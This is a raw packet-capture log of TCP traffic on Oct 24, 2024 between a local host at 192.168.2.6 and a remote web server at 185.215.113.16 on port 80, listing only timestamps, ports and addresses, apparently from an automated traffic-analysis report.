Oct 24, 2024 04:57:35.940200090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.940380096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940421104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940432072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940450907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940463066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940464973 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.940474987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940490007 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.940498114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940510988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940512896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.940542936 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.941330910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.941353083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.941394091 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:36.220984936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221010923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221021891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221033096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221044064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221066952 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:36.221072912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221085072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221096039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221101999 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:36.221117973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221132040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:36.221138000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221151114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221157074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:36.221174955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221185923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221191883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:36.221204042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221215963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221221924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:36.221239090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221247911 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:36.221251965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221265078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221276045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221281052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:36.221291065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221317053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221319914 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:36.221328020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221338034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221349001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221354961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:36.221359968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221369982 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:36.221379995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221390963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:36.221407890 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:36.221427917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.258198023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.258405924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.258776903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.258829117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.260031939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260102034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260118008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260128975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260139942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260153055 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.260163069 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.260168076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260180950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260193110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260224104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.260246992 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.260405064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260416031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260427952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260446072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260452986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.260457993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260471106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260482073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.260483027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260500908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.260521889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.260546923 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.261209011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.261219978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.261230946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.261270046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.261281013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.261291981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.261302948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.261308908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.261321068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.261344910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.261369944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.266648054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.266680002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.266729116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.266757965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.266871929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.266911983 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.272056103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.272068977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.272104979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.272197008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.272267103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.272310019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.277415991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.277426958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.277470112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.277560949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.277571917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.277610064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.282819986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.282830954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.282876015 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.282922983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.282955885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.283004045 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.288189888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.288207054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.288252115 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.288291931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.288363934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.288408041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.294619083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.294630051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.294776917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.298716068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.298727036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.298944950 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.300087929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.300097942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.300146103 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.418025970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.418219090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.418230057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.418283939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.470186949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.470196962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.470253944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.537183046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.537195921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.537208080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.537275076 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.656704903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.656718969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.656728983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.656799078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.730204105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.730216026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.730243921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.730256081 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.775945902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.775964975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.775974035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.775988102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.775989056 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.776021957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.830257893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.849390030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.849400997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.849410057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.849466085 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.895225048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.895243883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.895251989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.895257950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.895332098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:37.968755007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.968772888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.968782902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:37.968849897 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.014548063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.014558077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.014573097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.014585018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.014596939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.014755011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.014755011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.240092039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.240107059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.240118027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.240128994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.240140915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.240151882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.240160942 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.240176916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.240179062 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.240187883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.240232944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.301345110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.301354885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.301408052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.327970028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.327995062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.328059912 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.359694004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.359705925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.359750986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.447156906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.447220087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.447233915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.447249889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.447278976 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.447325945 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.560619116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.560640097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.560657024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.560719967 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.566528082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.566544056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.566557884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.566577911 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.566603899 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.679958105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.679976940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.679992914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.680058002 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.685811996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.685828924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.685843945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.685861111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.685884953 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.685920954 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.799194098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.799213886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.799232006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.799253941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.805136919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.805154085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.805166006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.805177927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.805212975 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.805216074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.805255890 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.805268049 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.918382883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.918392897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.918448925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.918450117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.918461084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.918509960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.924391031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.924408913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.924417973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.924459934 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.924465895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.924509048 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:38.970160007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.970171928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:38.970247030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.037719011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.037729979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.037781954 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.188926935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.189033985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.189044952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.189055920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.189068079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.189078093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.189085007 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.189089060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.189100027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.189137936 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.189152002 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.283592939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.283607006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.283618927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.283694983 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.308233023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.308244944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.308315992 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.402872086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.402887106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.402899981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.402916908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.402944088 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.402976036 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.522203922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.522238016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.522253990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.522268057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.522284985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.522478104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.522478104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.618057013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.618073940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.618149042 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.641313076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.641336918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.641350985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.641366005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.641450882 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.722346067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.722377062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.722393036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.722436905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.761552095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.761570930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.761586905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.761616945 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.761636019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.838314056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.838337898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.838417053 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.841507912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.841536045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.841552019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.841583967 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.879987955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.880017996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.880033970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.880131006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.960731983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.960747004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.960764885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.960804939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.960851908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.960889101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.999397993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.999414921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.999437094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.999453068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.999469042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:39.999512911 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:39.999568939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.080071926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.080097914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.080112934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.080156088 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.118674994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.118701935 CEST	80	49774	185.215.113.16	192.168.2.6
